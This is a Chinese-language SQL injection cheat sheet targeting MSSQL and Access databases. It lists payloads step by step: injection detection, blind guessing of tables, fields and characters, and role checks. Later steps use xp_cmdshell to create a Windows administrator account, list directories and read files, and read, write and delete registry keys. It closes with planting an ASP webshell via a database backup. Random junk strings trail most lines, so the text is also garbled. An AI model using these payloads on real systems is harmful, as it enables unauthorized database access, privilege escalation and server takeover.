1.判断是否有注入;and 1=1 ;and 1=2
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2.初步判断是否是mssql ;and user>0 8L`J](y
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3.注入参数是字符'and [查询条件] and ''=' 26B]b{Iz{
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' g,h'K
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5.判断数据库系统 _Jx.?8
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;and (select count(*) from sysobjects)>0 mssql bX6eNk-L
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;and (select count(*) from msysobjects)>0 access 7m~.V[l1
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]dHU
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 FloCR=^H
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 rz+)z:u
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9.(1)猜字段的ascii值(access) JWoNP/v6
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 as=Z_a:0N
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(2)猜字段的ascii值(mssql) N_(qMW
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 btoye \rl
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10.测试权限结构(mssql) F`IV9qv
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- }G}2Y (
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- -XBD WV
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- mucKmb/
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8-]\C
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9jW/"
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;and 1=(select IS_MEMBER('db_owner'));-- EAafi<n
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11.添加mssql和系统的帐户 7HfA{.|m
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;exec master.dbo.sp_addlogin username;-- (Klvctoy
;exec master.dbo.sp_password null,username,password;-- <uq#smY
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- P(h[QAM
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;exec master.dbo.xp_cmdshell 'net user username password <;) qyP
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- q8 jI
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- * F[;D7sZ~
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 9qe< bds1
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12.(1)遍历目录 *Y"j 0Yob
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;create table dirs(paths varchar(100), id int) iLhxcM2K
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;insert dirs exec master.dbo.xp_dirtree 'c:\' #21t8
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;and (select top 1 paths from dirs)>0 bIs@CDB
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) P`ZYm
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(2)遍历目录 (bT3
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6B pm+}
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )cF1?2
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Qx{[#[Da
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9bE/7v
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~sk{O%OI
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13.mssql中的存储过程 M?yWFqFt9m
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xp_regenumvalues 注册表根键, 子键 utJz e
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $hCPmiI
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xp_regread 根键,子键,键值名 c2$&pZ
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;exec xp_regread XyM?Dc5,
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 vW\|%
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xp_regwrite 根键,子键, 值名, 值类型, 值 GNv5yWQ@
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Q<e`0cu|p
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 C}~/(;1V=
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xp_regdeletevalue 根键,子键,值名 OR\-%JX/5
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4dok/ +Ec
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 PA=BNKlH
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14.mssql的backup创建webshell 0jzA\ $oD
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use model w[+!c-A:H
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create table cmd(str image); ""a8eB6
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insert into cmd(str) values (''); lz*2wGI9
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backup database model to disk='c:\l.asp'; x!jhWX
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15.mssql内置函数 {Eb6.
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;and (select @@version)>0 获得Windows的版本号 B)|s.Ez
-s 1VlS/
;and user_name()='dbo' 判断当前系统的连接用户是不是sa d{m0 uX56
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;and (select user_name())>0 爆当前系统的连接用户 W!(Q_B
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;and (select db_name())>0 得到当前连接的数据库 zKutx6=aj
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16.简洁的webshell CMr`n8M
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use model gn%"dfm
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create table cmd(str image); L; ~=(
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insert into cmd(str) values (''); U_~~PCi
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backup database model to disk='g:\wwwtest\l.asp';